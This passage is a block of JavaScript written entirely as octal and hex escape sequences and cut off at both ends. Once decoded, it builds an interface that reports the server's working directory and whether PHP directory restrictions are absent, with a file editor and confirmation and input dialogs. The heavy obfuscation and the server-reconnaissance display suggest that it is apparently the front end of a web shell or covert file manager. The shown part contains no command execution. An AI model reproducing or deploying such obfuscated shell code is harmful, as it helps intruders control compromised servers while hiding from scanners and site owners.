x20\151\146\x20\50\x62\141\163\x65\144\151\x72\105\154\x29\40\173\xa\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x62\x61\163\145\144\x69\x72\x45\154\x2e\x74\145\x78\x74\x43\x6f\x6e\x74\145\156\x74\x20\x3d\x20\x62\x61\x73\145\144\151\162\x3b\12\x20\40\40\40\x20\40\40\x20\40\x20\40\40\40\40\40\x20\142\141\x73\145\144\x69\x72\105\x6c\x2e\x73\x74\x79\154\145\x2e\143\157\154\x6f\162\40\x3d\x20\x62\x61\x73\145\x64\151\162\40\75\75\x3d\40\47\x4e\x4f\116\105\47\40\174\x7c\40\x62\141\163\x65\x64\151\x72\x20\x3d\75\75\x20\x27\x27\x20\x3f\x20\47\x76\x61\162\50\55\x2d\x61\143\143\x65\x6e\164\55\147\162\x65\145\156\51\47\40\72\x20\47\x76\141\x72\x28\55\x2d\141\143\x63\145\x6e\x74\x2d\162\x65\144\x29\47\x3b\12\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\175\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\12\40\40\40\40\x20\40\x20\x20\x20\40\40\x20\x2f\x2f\40\120\x57\104\12\40\40\x20\x20\40\40\40\40\40\x20\40\40\x75\x70\144\x61\x74\145\x28\x27\163\171\x73\x2d\160\167\144\47\x2c\x20\143\x6f\156\164\145\x78\x74\x2e\143\167\144\40\x7c\x7c\40\x27\55\55\47\x29\73\xa\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\xa\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\57\x2f\x20\x55\x70\144\141\164\145\x20\x64\x61\164\x65\164\x69\155\x65\x20\145\166\145\162\171\40\x73\x65\x63\157\156\x64\12\40\40\40\x20\40\40\40\x20\40\40\x20\x20\163\x65\x74\x49\x6e\164\x65\162\x76\x61\154\50\x28\51\40\x3d\x3e\40\x7b\12\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x63\157\x6e\x73\x74\40\x6e\x6f\x77\x20\75\x20\156\x65\167\x20\104\141\x74\x65\x28\x29\x3b\12\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\165\160\x64\141\164\145\x28\x27\163\171\x73\55\x64\141\x74\x65\x74\151\x6d\x65\47\54\x20\x6e\157\x77\56\164\157\x4c\x6f\143\141\x6c\145\123\164\162\151\156\x67\50\51\x29\x3b\xa\x20\x20\40\40\x20\x20\x20\x20\40\40\40\x20\x7d\x2c\40\x31\60\x30\60\x29\73\xa\x20\40\x20\x20\40\40\x20\x20\175\54\12\40\x20\40\40\x20\x20\40\40\146\157\x72\155\x61\x74\102\171\x74\145\x73\50\x62\x79\164\x65\x73\x2c\x20\144\145\x63\x69\155\x61\154\x73\x20\75\x20\62\x29\40\x7b\x20\151\146\x20\x28\142\171\x74\145\163\x20\75\75\x3d\x20\60\x29\40\162\x65\164\x75\162\x6e\40\x27\60\x20\102\x79\x74\x65\163\47\73\x20\143\x6f\x6e\x73\x74\x20\153\40\75\x20\x31\60\x32\x34\54\40\x64\x6d\40\x3d\40\x64\x65\143\151\x6d\x61\x6c\x73\x20\x3c\x20\x30\x20\77\x20\x30\x20\x3a\40\x64\x65\x63\151\155\141\x6c\x73\x2c\x20\x73\151\x7a\x65\x73\40\x3d\40\133\x27\x42\x79\164\145\163\47\x2c\x20\47\113\x42\47\x2c\x20\x27\115\102\x27\x2c\40\47\x47\102\47\x2c\x20\47\124\x42\x27\x5d\73\40\x63\x6f\x6e\163\164\x20\x69\40\x3d\40\115\x61\164\x68\x2e\146\154\157\x6f\x72\x28\115\x61\x74\x68\56\154\x6f\x67\x28\142\x79\x74\145\x73\51\x20\57\x20\115\141\164\x68\56\x6c\x6f\x67\x28\153\x29\51\73\x20\x72\x65\164\165\x72\156\x20\x70\x61\162\x73\145\106\154\157\x61\x74\50\50\x62\x79\x74\145\163\x20\x2f\40\115\141\x74\x68\x2e\x70\x6f\167\50\153\x2c\x20\151\51\51\56\164\x6f\x46\x69\x78\x65\144\x28\144\155\51\51\40\x2b\40\x27\x20\x27\40\53\x20\163\x69\172\145\x73\x5b\151\x5d\73\x20\175\x2c\xa\11\x9\x74\x6f\141\x73\164\x28\155\145\163\163\x61\147\145\x2c\x20\164\171\160\145\40\x3d\40\47\x73\165\x63\143\145\x73\x73\x27\x2c\x20\144\165\x72\141\164\x69\157\x6e\x20\x3d\x20\x34\60\60\x30\51\40\173\x20\143\157\x6e\163\164\x20\x65\x6c\40\x3d\40\x64\157\143\165\155\145\x6e\164\56\x67\145\164\105\x6c\x65\155\145\x6e\164\102\x79\x49\144\x28\47\x74\157\x61\163\x74\x27\51\73\40\x65\154\x2e\164\x65\x78\x74\103\x6f\156\x74\x65\x6e\x74\x20\75\40\155\145\163\163\x61\147\145\73\x20\145\x6c\56\143\154\x61\x73\x73\x4e\x61\x6d\145\40\75\40\x60\164\157\x61\x73\164\40\x73\x68\157\167\x20\x24\x7b\164\171\x70\145\175\x60\x3b\x20\163\145\x74\x54\x69\x6d\x65\x6f\165\x74\50\50\51\x20\75\x3e\x20\x65\154\56\x63\x6c\141\163\163\x4e\141\155\x65\40\x3d\x20\x65\x6c\x2e\x63\x6c\x61\x73\163\x4e\141\155\145\x2e\x72\145\x70\154\141\x63\145\x28\47\x73\150\x6f\167\x27\x2c\x20\x27\x27\x29\54\40\144\x75\162\141\x74\151\x6f\x6e\x29\x3b\40\x7d\54\xa\11\11\x73\x68\x6f\167\x4d\157\x64\141\x6c\50\x6d\x6f\x64\x61\154\x29\x20\173\x20\155\x6f\144\x61\x6c\x2e\x73\x74\171\x6c\x65\56\144\x69\x73\x70\154\x61\171\40\x3d\x20\x27\x66\x6c\x65\x78\x27\73\40\x7d\x2c\12\11\x9\143\154\157\x73\145\115\157\144\141\x6c\50\x6d\157\144\141\154\x29\x20\x7b\40\155\157\x64\141\x6c\56\163\164\x79\154\x65\56\144\x69\163\160\x6c\x61\171\x20\x3d\40\47\x6e\x6f\156\145\47\x3b\40\151\x66\x28\x6d\157\144\141\154\x2e\x69\x64\40\75\75\75\40\x27\145\x64\x69\164\157\x72\x2d\155\x6f\144\141\154\47\x20\46\x26\40\164\150\151\x73\x2e\145\x64\151\164\x6f\162\x29\40\x74\x68\x69\163\56\145\144\151\164\157\162\56\x73\145\x74\x56\141\x6c\165\145\x28\x27\x27\x29\x3b\40\x7d\x2c\12\x9\11\12\x9\x9\57\x2f\x20\103\165\163\164\x6f\155\x20\x63\x6f\x6e\x66\151\162\155\141\164\151\x6f\156\x20\x6d\157\x64\x61\154\x20\55\x20\x70\162\145\166\x65\x6e\164\163\x20\x64\x6f\165\x62\x6c\x65\x20\160\x6f\x70\x75\160\12\11\x9\x61\163\171\156\x63\x20\x73\x68\157\167\103\157\156\x66\x69\162\155\115\157\x64\141\x6c\50\x6d\145\163\163\x61\147\145\x2c\40\157\160\164\151\157\x6e\163\40\75\40\x7b\175\51\x20\173\12\11\x9\11\162\145\x74\165\162\x6e\40\156\145\167\40\x50\162\x6f\x6d\151\x73\x65\x28\50\162\145\163\157\x6c\166\145\x29\x20\75\x3e\40\173\12\11\x9\x9\11\143\157\156\x73\x74\40\155\157\x64\141\154\40\x3d\x20\x64\x6f\143\x75\x6d\145\x6e\x74\x2e\147\145\x74\x45\154\x65\x6d\145\156\164\x42\171\x49\144\50\x27\143\x6f\156\146\151\162\x6d\55\155\x6f\144\x61\x6c\47\x29\x3b\xa\x9\x9\x9\x9\x63\157\x6e\163\164\x20\x6d\145\163\163\141\147\x65\x45\154\x20\x3d\x20\144\157\x63\x75\155\145\156\x74\x2e\147\145\164\105\x6c\x65\x6d\145\156\164\x42\171\111\144\50\47\143\157\156\146\151\x72\155\55\155\145\163\163\141\147\145\47\51\x3b\xa\11\11\11\x9\x63\157\156\x73\164\40\164\x69\x74\154\145\105\x6c\40\75\40\144\x6f\x63\165\155\x65\x6e\164\x2e\147\145\x74\x45\x6c\145\155\145\156\164\x42\x79\x49\144\50\x27\143\157\156\x66\x69\162\x6d\x2d\x74\151\x74\154\x65\47\x29\73\12\x9\x9\11\11\143\x6f\x6e\163\x74\x20\x69\x63\x6f\x6e\x45\x6c\40\75\x20\144\x6f\143\165\155\x65\x6e\x74\x2e\x67\145\164\x45\154\145\155\145\x6e\x74\102\x79\x49\x64\x28\47\143\x6f\156\146\x69\162\155\55\151\143\x6f\x6e\47\x29\73\xa\x9\11\11\x9\x63\157\x6e\x73\164\x20\x6f\153\102\164\x6e\40\75\40\x64\157\x63\165\155\145\156\x74\56\x67\x65\x74\105\x6c\145\155\x65\156\x74\102\x79\111\x64\x28\x27\143\157\x6e\146\151\162\x6d\55\x6f\153\x2d\142\164\156\x27\x29\73\xa\11\x9\11\11\143\x6f\156\x73\164\40\x63\x61\x6e\143\x65\154\x42\164\156\x20\x3d\x20\144\157\x63\165\155\x65\156\x74\56\x67\x65\164\x45\154\145\155\x65\x6e\164\102\171\111\144\x28\47\143\x6f\x6e\x66\x69\162\x6d\x2d\143\x61\x6e\x63\x65\x6c\55\142\164\156\47\51\73\12\x9\11\x9\x9\143\157\x6e\163\164\40\x63\x6c\x6f\x73\x65\x42\164\x6e\40\75\x20\x64\157\x63\165\x6d\x65\x6e\x74\x2e\147\145\x74\105\x6c\x65\155\145\x6e\x74\102\x79\111\x64\50\x27\143\x6f\156\x66\x69\x72\155\x2d\x6d\157\x64\141\154\55\143\x6c\x6f\x73\x65\x27\x29\x3b\12\11\11\x9\11\12\x9\11\11\11\151\x66\x20\x28\x21\155\157\x64\x61\154\40\174\x7c\40\41\x6d\x65\x73\x73\141\x67\x65\x45\154\51\x20\x72\145\164\x75\x72\156\x20\162\145\163\157\x6c\166\x65\50\146\141\154\163\145\x29\x3b\xa\11\x9\11\x9\xa\11\x9\x9\x9\x2f\x2f\x20\x53\x65\x74\x20\155\x65\163\x73\141\x67\x65\12\x9\11\11\11\x6d\x65\x73\x73\141\147\x65\105\154\56\x69\156\x6e\x65\x72\110\124\x4d\114\x20\x3d\40\x6d\145\x73\163\141\147\145\x2e\x72\145\160\154\141\143\x65\50\x2f\x5c\156\57\x67\x2c\x20\x27\x3c\x62\162\x3e\47\51\x3b\xa\11\11\11\x9\xa\11\11\11\11\x2f\57\40\123\x65\x74\40\164\x69\164\x6c\145\40\141\156\144\40\151\x63\x6f\156\x20\x62\x61\163\145\144\x20\x6f\156\x20\x74\x79\x70\145\xa\x9\x9\11\x9\x63\x6f\x6e\163\x74\40\164\171\x70\145\40\x3d\x20\157\x70\x74\x69\157\x6e\x73\56\x74\171\x70\145\40\174\174\x20\x27\x77\141\x72\x6e\151\156\147\x27\73\xa\x9\x9\11\11\x63\157\x6e\x73\x74\40\151\x63\x6f\x6e\163\x20\x3d\40\x7b\xa\x9\x9\x9\x9\x9\167\141\x72\x6e\x69\x6e\147\72\40\47\342\232\xa0\357\xb8\x8f\47\54\xa\x9\x9\11\x9\11\x64\141\156\147\x65\x72\72\40\x27\xf0\237\227\x91\xef\xb8\217\x27\54\xa\11\x9\11\x9\x9\x69\x6e\x66\x6f\x3a\40\x27\342\204\271\xef\xb8\217\x27\54\12\x9\11\11\11\11\161\x75\145\163\164\x69\x6f\156\x3a\x20\x27\342\x9d\223\47\54\12\x9\11\11\11\x9\163\x75\143\x63\145\x73\x73\72\40\47\342\234\x85\x27\12\x9\x9\x9\11\175\x3b\12\11\x9\x9\11\143\x6f\x6e\x73\x74\40\164\151\x74\x6c\x65\163\x20\75\x20\x7b\12\x9\x9\x9\11\x9\167\141\x72\156\151\156\x67\x3a\40\x27\342\232\xa0\xef\270\217\40\x43\x6f\156\x66\x69\x72\x6d\141\164\x69\157\x6e\47\x2c\xa\x9\x9\x9\x9\x9\144\x61\x6e\x67\x65\x72\x3a\40\47\xf0\x9f\x97\221\357\xb8\x8f\40\x44\x65\x6c\x65\x74\145\x20\x43\157\x6e\146\151\x72\155\141\x74\x69\x6f\x6e\47\54\xa\x9\x9\x9\x9\11\151\156\146\157\x3a\40\x27\xe2\x84\271\xef\xb8\x8f\x20\x49\x6e\x66\157\162\155\141\x74\x69\157\x6e\47\x2c\xa\11\11\x9\x9\x9\x71\x75\x65\163\x74\151\157\x6e\72\40\x27\342\235\223\x20\103\157\156\x66\x69\162\x6d\x20\101\x63\x74\x69\x6f\x6e\47\x2c\12\x9\x9\x9\x9\11\163\165\143\143\145\163\163\72\x20\47\342\234\205\40\123\x75\x63\x63\145\x73\163\x27\12\x9\11\11\x9\175\73\xa\x9\x9\11\x9\xa\11\x9\x9\11\151\143\157\156\105\x6c\56\164\145\x78\x74\103\x6f\x6e\x74\145\156\164\x20\x3d\40\x69\143\x6f\156\x73\133\164\171\160\x65\135\40\x7c\174\x20\151\x63\157\x6e\163\56\x77\x61\162\x6e\x69\x6e\147\x3b\12\x9\x9\x9\11\164\x69\x74\x6c\x65\x45\154\x2e\164\145\x78\164\103\157\156\164\x65\156\164\x20\x3d\x20\x74\x69\164\x6c\x65\x73\133\x74\171\x70\145\135\40\x7c\x7c\x20\x74\151\x74\154\x65\163\x2e\x77\141\162\156\x69\x6e\147\x3b\12\11\x9\11\x9\12\x9\x9\x9\x9\x2f\x2f\x20\x53\x65\x74\x20\x62\x75\x74\164\x6f\156\x20\x74\145\170\164\12\x9\11\11\11\157\153\x42\164\156\56\x74\x65\x78\164\x43\157\x6e\x74\x65\x6e\164\40\75\x20\x6f\x70\164\x69\x6f\156\x73\56\157\153\124\145\170\164\x20\x7c\174\40\x27\117\x4b\x27\73\xa\11\x9\11\11\143\x61\156\143\145\154\102\x74\156\x2e\x74\145\170\164\x43\157\156\164\145\x6e\x74\x20\75\x20\157\x70\164\x69\157\x6e\x73\56\x63\x61\156\x63\x65\154\x54\x65\170\x74\x20\174\x7c\40\47\x43\x61\156\x63\x65\x6c\x27\73\12\x9\11\x9\x9\12\11\11\11\x9\57\x2f\x20\123\145\x74\x20\142\x75\164\164\157\156\x20\163\164\x79\x6c\x65\x20\x66\x6f\162\40\144\x61\x6e\x67\145\x72\40\141\x63\164\x69\x6f\x6e\x73\12\11\11\x9\11\x69\146\40\x28\164\x79\160\x65\x20\x3d\75\75\x20\47\144\x61\x6e\147\145\162\x27\51\x20\x7b\12\11\11\x9\x9\x9\x6f\153\x42\164\x6e\56\x63\154\x61\163\163\116\x61\155\145\40\x3d\40\x27\x63\x6f\x6e\146\151\x72\155\55\142\164\x6e\55\157\x6b\40\143\157\156\146\151\x72\x6d\55\142\x74\156\55\144\x61\x6e\x67\145\162\47\x3b\xa\x9\11\11\x9\x7d\40\145\154\163\x65\x20\173\12\x9\11\x9\11\x9\157\153\102\x74\156\x2e\143\x6c\x61\163\x73\116\141\x6d\145\40\75\x20\x27\143\157\156\146\x69\x72\155\55\142\164\x6e\55\157\x6b\x27\x3b\xa\11\11\11\11\175\xa\11\x9\11\11\xa\x9\x9\11\11\57\x2f\x20\122\145\x6d\157\166\145\x20\157\x6c\x64\x20\145\x76\145\156\x74\x20\x6c\151\163\164\145\156\x65\162\163\40\x62\x79\x20\x63\154\157\156\151\x6e\x67\x20\141\156\144\x20\x72\145\x70\x6c\x61\x63\151\156\147\xa\11\11\11\x9\143\157\x6e\x73\x74\x20\x6e\x65\167\117\x6b\x42\164\156\40\x3d\x20\x6f\153\x42\x74\156\x2e\143\154\x6f\156\x65\x4e\157\x64\x65\x28\x74\x72\165\x65\x29\73\12\x9\11\x9\x9\x63\157\156\x73\164\x20\156\145\167\x43\141\156\143\x65\x6c\x42\164\x6e\x20\75\x20\143\x61\x6e\x63\145\154\x42\x74\156\56\143\x6c\157\x6e\x65\116\157\x64\145\x28\x74\x72\165\145\51\73\12\x9\11\11\x9\143\x6f\156\x73\164\40\x6e\x65\167\x43\154\x6f\x73\145\102\164\156\x20\x3d\x20\x63\154\x6f\x73\145\x42\x74\x6e\x2e\x63\154\157\x6e\145\x4e\157\144\x65\50\x74\x72\165\x65\x29\73\12\11\x9\11\11\157\x6b\102\164\x6e\x2e\160\141\x72\145\x6e\x74\x4e\157\144\x65\x2e\162\x65\x70\154\x61\143\145\103\x68\151\x6c\144\x28\x6e\145\x77\117\x6b\102\x74\x6e\x2c\40\x6f\x6b\x42\x74\x6e\x29\x3b\12\x9\x9\11\11\143\141\156\x63\x65\154\x42\x74\156\56\x70\x61\162\x65\x6e\x74\116\157\x64\x65\56\x72\x65\x70\x6c\141\x63\145\x43\150\151\x6c\144\50\156\x65\x77\x43\x61\x6e\143\145\x6c\x42\x74\x6e\x2c\x20\x63\141\x6e\x63\x65\x6c\102\x74\x6e\x29\x3b\12\x9\x9\x9\x9\x63\154\x6f\163\x65\x42\164\x6e\x2e\x70\x61\x72\145\x6e\x74\x4e\157\144\x65\x2e\162\145\160\x6c\141\143\145\103\x68\x69\x6c\x64\x28\156\145\x77\x43\x6c\x6f\163\x65\102\x74\x6e\54\x20\x63\154\x6f\163\145\102\164\x6e\51\73\12\11\11\x9\x9\xa\x9\x9\11\11\x2f\57\40\123\164\157\x72\145\x20\x72\145\146\x65\x72\145\x6e\143\x65\163\x20\146\157\x72\x20\143\x6c\145\141\x6e\165\160\xa\x9\11\x9\11\x63\157\156\163\164\40\x68\x61\156\x64\154\x65\122\x65\x73\x6f\x6c\166\x65\40\75\40\50\x76\141\x6c\165\x65\51\x20\x3d\76\40\x7b\xa\11\11\11\11\x9\x74\150\x69\x73\x2e\x63\x6c\x6f\163\x65\x4d\x6f\x64\x61\x6c\50\155\157\144\x61\x6c\x29\x3b\12\x9\11\x9\11\11\144\157\x63\x75\155\x65\156\x74\x2e\162\145\x6d\157\166\145\x45\166\x65\156\x74\114\x69\163\164\145\156\x65\162\x28\x27\153\145\171\144\x6f\167\156\x27\x2c\40\145\163\143\110\141\x6e\144\154\x65\162\51\73\xa\11\x9\11\11\x9\x72\x65\x73\x6f\154\x76\x65\50\166\x61\154\165\145\x29\73\12\11\11\x9\x9\175\73\12\x9\x9\11\x9\xa\11\11\x9\x9\57\x2f\40\110\141\156\x64\x6c\x65\x20\105\123\x43\x20\x6b\x65\171\xa\x9\x9\x9\x9\x63\x6f\156\x73\x74\40\x65\163\x63\110\x61\156\x64\x6c\x65\x72\x20\75\x20\50\145\x29\x20\x3d\76\40\173\12\11\11\11\11\x9\x69\x66\x20\x28\x65\x2e\153\145\171\40\x3d\75\x3d\x20\47\x45\x73\143\141\x70\145\x27\x29\40\x7b\xa\11\11\x9\11\11\x9\150\x61\x6e\144\x6c\145\x52\x65\163\x6f\x6c\x76\145\50\146\141\x6c\x73\x65\x29\x3b\12\x9\11\x9\11\x9\x7d\12\x9\11\x9\x9\x7d\x3b\xa\x9\11\11\x9\12\11\11\x9\11\x2f\57\x20\101\144\144\40\x6e\145\x77\40\145\x76\145\156\x74\x20\154\x69\163\164\x65\156\145\162\x73\40\50\x6f\x6e\x6c\171\40\x6f\x6e\143\x65\x29\xa\11\11\11\x9\x6e\145\x77\x4f\x6b\x42\164\x6e\x2e\157\156\x63\154\x69\143\153\x20\x3d\40\x28\x29\x20\75\x3e\x20\150\141\156\144\154\145\x52\145\x73\157\154\166\145\50\x74\162\x75\x65\x29\73\12\11\11\11\x9\156\145\x77\x43\141\156\x63\145\154\102\x74\x6e\56\x6f\x6e\x63\x6c\x69\143\153\x20\x3d\x20\x28\51\x20\x3d\76\x20\150\x61\156\x64\x6c\145\x52\x65\x73\x6f\x6c\x76\x65\50\146\141\x6c\x73\x65\x29\73\12\11\x9\11\11\x6e\145\167\x43\x6c\157\x73\x65\x42\164\x6e\56\157\156\143\x6c\x69\x63\x6b\40\75\x20\50\x29\x20\x3d\x3e\40\x68\141\x6e\144\154\x65\122\x65\x73\x6f\x6c\166\x65\x28\146\141\x6c\x73\x65\51\x3b\xa\x9\11\x9\11\xa\x9\11\11\11\x2f\x2f\x20\103\x6c\157\x73\145\x20\157\156\40\142\x61\143\153\144\x72\157\x70\40\143\x6c\151\x63\153\40\x28\x72\x65\x70\x6c\x61\x63\145\40\x6f\154\x64\40\x68\141\156\x64\154\145\x72\51\12\11\11\x9\x9\x63\157\x6e\x73\164\40\142\141\143\x6b\x64\x72\x6f\x70\110\x61\x6e\x64\x6c\145\162\40\x3d\40\x28\x65\51\x20\x3d\x3e\40\173\12\11\11\x9\x9\11\151\146\x20\x28\145\x2e\164\x61\x72\147\x65\164\40\75\x3d\x3d\x20\x6d\x6f\x64\x61\154\x29\x20\173\12\11\11\11\11\11\x9\x68\x61\156\144\x6c\145\122\x65\163\x6f\154\x76\145\x28\x66\141\x6c\163\145\x29\x3b\xa\x9\x9\11\x9\11\x7d\12\x9\x9\11\x9\x7d\73\12\11\x9\11\11\x6d\157\x64\141\x6c\x2e\x6f\156\143\154\151\143\153\x20\x3d\x20\x62\x61\x63\153\144\162\157\x70\x48\x61\x6e\x64\x6c\145\162\73\12\11\x9\x9\11\xa\x9\x9\x9\x9\57\57\40\x41\144\144\40\x45\x53\x43\x20\x6b\x65\x79\x20\154\x69\x73\164\145\x6e\x65\x72\xa\11\11\11\x9\x64\x6f\x63\x75\155\x65\156\164\x2e\x61\x64\x64\x45\x76\x65\156\x74\x4c\x69\163\x74\x65\156\x65\162\x28\47\x6b\x65\x79\144\x6f\x77\x6e\x27\54\40\x65\x73\x63\x48\x61\x6e\x64\154\x65\162\x29\73\xa\11\x9\11\11\12\11\x9\11\x9\x2f\x2f\x20\x53\150\157\167\40\x6d\157\144\141\x6c\xa\11\11\x9\11\164\x68\151\163\x2e\163\150\157\x77\115\157\144\x61\x6c\50\155\157\x64\141\x6c\51\73\xa\11\x9\11\x9\12\x9\x9\11\11\x2f\x2f\40\106\157\143\165\163\40\157\156\x20\117\113\40\142\x75\164\164\157\156\12\x9\11\x9\x9\163\145\x74\124\x69\155\x65\157\x75\x74\x28\x28\x29\x20\75\x3e\40\156\145\167\117\153\102\164\x6e\x2e\x66\157\x63\165\163\x28\x29\x2c\40\61\60\60\x29\x3b\xa\11\11\x9\x7d\51\73\xa\11\11\175\54\12\11\x9\57\x2f\x20\x43\165\x73\x74\157\155\x20\151\156\160\165\164\x20\155\157\144\141\154\40\55\x20\x72\x65\x70\154\x61\143\x65\163\40\160\162\x6f\155\160\164\50\x29\12\11\x9\141\163\171\156\143\40\163\150\x6f\x77\x49\156\x70\165\x74\115\157\144\141\x6c\x28\x6d\145\x73\x73\x61\x67\145\x2c\40\144\x65\x66\141\x75\x6c\x74\126\x61\x6c\165\145\40\x3d\40\47\x27\x2c\x20\x6f\x70\x74\x69\157\156\x73\x20\75\x20\173\175\x29\40\x7b\12\x9\x9\x9\x72\145\x74\165\x72\x6e\40\x6e\145\x77\40\120\162\157\x6d\151\x73\145\50\x28\162\145\163\157\x6c\x76\145\x29\40\x3d\76\40\x7b\12\x9\x9\x9\x9\x63\x6f\x6e\163\x74\40\x6d\x6f\x64\x61\x6c\40\x3d\40\144\x6f\143\165\155\145\156\164\56\147\x65\164\x45\154\145\x6d\x65\156\x74\102\x79\111\144\50\47\x69\156\160\x75\x74\55\x6d\157\x64\141\x6c\47\x29\x3b\12\x9\x9\x9\x9\x63\x6f\x6e\x73\x74\x20\151\x6e\160\x75\164\106\x69\145\154\144\40\75\40\144\157\143\x75\x6d\145\x6e\164\56\147\x65\164\x45\x6c\145\x6d\x65\x6e\164\102\x79\111\144\50\47\151\x6e\160\165\x74\55\146\x69\x65\x6c\144\47\51\73\xa\x9\x9\11\11\x63\157\x6e\x73\164\x20\x6c\141\x62\145\x6c\105\154\40\x3d\40\144\157\x63\x75\155\x65\156\164\56\147\x65\164\105\154\145\155\145\156\164\102\x79\111\x64\50\x27\151\156\x70\x75\164\55\x6c\141\142\145\x6c\47\51\x3b\12\11\11\x9\11\x63\157\156\163\164\40\x74\151\x74\x6c\145\x45\154\40\x3d\x20\144\x6f\143\x75\x6d\145\156\x74\x2e\147\145\x74\x45\154\x65\155\x65\156\164\x42\171\111\144\x28\47\151\x6e\x70\x75\x74\x2d\x74\x69\x74\154\x65\47\51\x3b\xa\11\11\x9\11\143\157\156\163\164\40\151\x63\157\x6e\105\154\x20\75\40\144\x6f\143\x75\x6d\145\156\x74\56\x67\x65\164\105\154\145\155\145\156\x74\x42\x79\111\x64\50\47\151\156\x70\165\x74\55\151\143\x6f\156\x27\51\73\12\11\11\11\11\143\157\x6e\163\164\40\157\x6b\x42\x74\x6e\40\75\40\144\157\x63\165\x6d\145\156\x74\56\147\x65\x74\x45\x6c\x65\155\x65\x6e\164\102\x79\x49\144\50\x27\151\156\x70\x75\164\x2d\x6f\153\x2d\142\164\x6e\x27\51\x3b\xa\11\x9\11\11\143\157\x6e\163\164\40\143\141\156\x63\145\154\x42\164\x6e\40\75\40\144\x6f\143\165\x6d\145\x6e\164\56\147\145\x74\105\x6c\145\155\145\x6e\164\102\x79\x49\144\x28\x27\151\156\160\165\164\x2d\143\141\x6e\x63\x65\x6c\55\x62\164\156\47\x29\73\12\11\x9\11\x9\x63\x6f\156\163\164\x20\143\154\157\x73\145\102\164\156\40\75\x20\144\157\x63\165\155\145\x6e\x74\x2e\x67\145\x74\105\x6c\145\x6d\x65\x6e\x74\x42\171\111\x64\50\47\151\156\160\x75\x74\55\x6d\157\x64\x61\x6c\x2d\143\x6c\x6f\163\145\x27\x29\x3b\12\x9\x9\11\x9\143\x6f\156\163\x74\40\145\x72\x72\x6f\162\105\154\40\75\x20\x64\157\x63\165\x6d\x65\156\x74\x2e\147\x65\x74\x45\154\145\x6d\145\156\164\102\171\111\x64\50\47\151\x6e\160\x75\164\x2d\x65\x72\162\x6f\x72\47\51\73\xa\x9\x9\11\11\xa\11\x9\x9\x9\x69\146\40\50\x21\155\x6f\x64\x61\154\x20\x7c\x7c\40\41\151\156\160\165\164\x46\x69\x65\154\x64\51\x20\x72\x65\x74\165\162\156\40\162\x65\x73\x6f\x6c\x76\x65\x28\x6e\165\x6c\154\x29\73\12\11\x9\x9\x9\xa\x9\11\x9\x9\x2f\57\x20\x53\145\x74\x20\154\141\x62\145\x6c\40\141\x6e\x64\40\164\x69\x74\x6c\x65\12\11\x9\x9\11\154\141\x62\145\154\105\x6c\x2e\164\145\x78\164\x43\x6f\x6e\164\145\x6e\x74\x20\75\40\155\x65\163\x73\141\x67\145\x20\174\174\x20\x27\x45\x6e\x74\145\162\40\166\141\x6c\165\x65\72\47\x3b\12\11\11\x9\x9\164\151\164\x6c\145\105\154\x2e\164\145\x78\164\103\x6f\x6e\x74\145\156\164\40\75\x20\x6f\160\164\151\x6f\x6e\163\56\x74\151\x74\x6c\145\x20\174\174\40\47\xf0\x9f\223\x9d\40\x49\156\160\165\x74\40\122\x65\161\165\151\x72\x65\x64\47\73\12\11\11\x9\11\x69\x63\x6f\156\x45\x6c\56\x74\x65\170\x74\103\157\156\164\145\156\164\x20\x3d\40\157\160\164\151\157\156\x73\56\x69\143\157\156\40\x7c\x7c\x20\x27\xf0\237\223\x9d\47\73\xa\11\11\x9\11\12\11\x9\x9\11\57\x2f\x20\x53\145\x74\40\x64\145\146\x61\x75\x6c\164\x20\166\141\x6c\x75\145\xa\x9\x9\x9\11\151\156\160\165\x74\x46\x69\145\x6c\144\56\x76\x61\154\165\145\x20\75\x20\x64\145\146\x61\165\x6c\164\x56\x61\154\x75\x65\73\xa\11\x9\11\11\x69\x6e\x70\x75\x74\106\151\145\154\144\x2e\x74\171\160\x65\x20\x3d\x20\157\x70\164\x69\x6f\156\163\56\x74\171\x70\x65\x20\174\x7c\x20\x27\x74\145\170\x74\x27\73\xa\11\11\11\11\151\x6e\x70\x75\164\106\x69\x65\x6c\x64\56\x70\154\x61\x63\145\x68\x6f\154\144\145\x72\x20\75\40\x6f\x70\x74\151\x6f\156\x73\56\x70\x6c\x61\143\145\x68\x6f\x6c\x64\x65\162\40\174\x7c\40\47\x54\x79\160\x65\40\x68\145\x72\145\x2e\56\x2e\47\73\xa\x9\11\x9\x9\xa\x9\11\11\x9\57\57\x20\x43\x6c\145\x61\x72\x20\145\x72\162\x6f\x72\12\11\11\x9\11\145\162\x72\x6f\x72\x45\x6c\56\164\145\x78\164\x43\x6f\x6e\x74\145\x6e\x74\40\x3d\40\47\x27\73\12\11\x9\x9\11\145\x72\162\157\162\x45\154\x2e\143\154\141\163\x73\114\x69\x73\164\56\x72\145\155\x6f\x76\x65\x28\47\163\x68\x6f\167\x27\x29\73\xa\x9\x9\x9\x9\151\156\160\x75\164\x46\151\145\154\x64\56\163\164\x79\154\x65\x2e\142\157\x72\144\145\162\x43\157\x6c\x6f\x72\x20\x3d\40\47\166\x61\x72\50\x2d\55\x62\x6f\x72\144\145\x72\55\x63\157\154\157\162\x29\x27\x3b\12\x9\x9\x9\11\12\11\x9\11\11\57\x2f\x20\122\x65\x6d\157\x76\x65\x20\x6f\154\144\x20\x65\166\145\156\x74\x20\x6c\x69\x73\x74\145\x6e\145\x72\x73\40\x62\171\40\x63\x6c\x6f\156\151\x6e\147\x20\141\156\144\40\x72\x65\160\154\141\143\x69\156\147\12\x9\x9\11\11\143\x6f\156\x73\x74\x20\x6e\x65\x77\117\x6b\x42\164\156\x20\75\40\157\153\x42\x74\156\x2e\143\154\157\x6e\x65\x4e\157\x64\x65\x28\x74\x72\x75\145\x29\73\xa\11\x9\11\x9\x63\x6f\156\x73\164\x20\x6e\145\x77\x43\x61\x6e\143\145\x6c\102\x74\156\x20\x3d\x20\143\141\156\x63\x65\154\x42\x74\x6e\x2e\x63\x6c\x6f\x6e\x65\x4e\x6f\x64\x65\50\x74\162\x75\x65\x29\73\12\11\x9\11\11\x63\157\x6e\x73\x74\x20\156\145\167\103\x6c\x6f\x73\x65\102\164\156\x20\75\x20\143\x6c\x6f\x73\x65\x42\x74\x6e\x2e\x63\154\x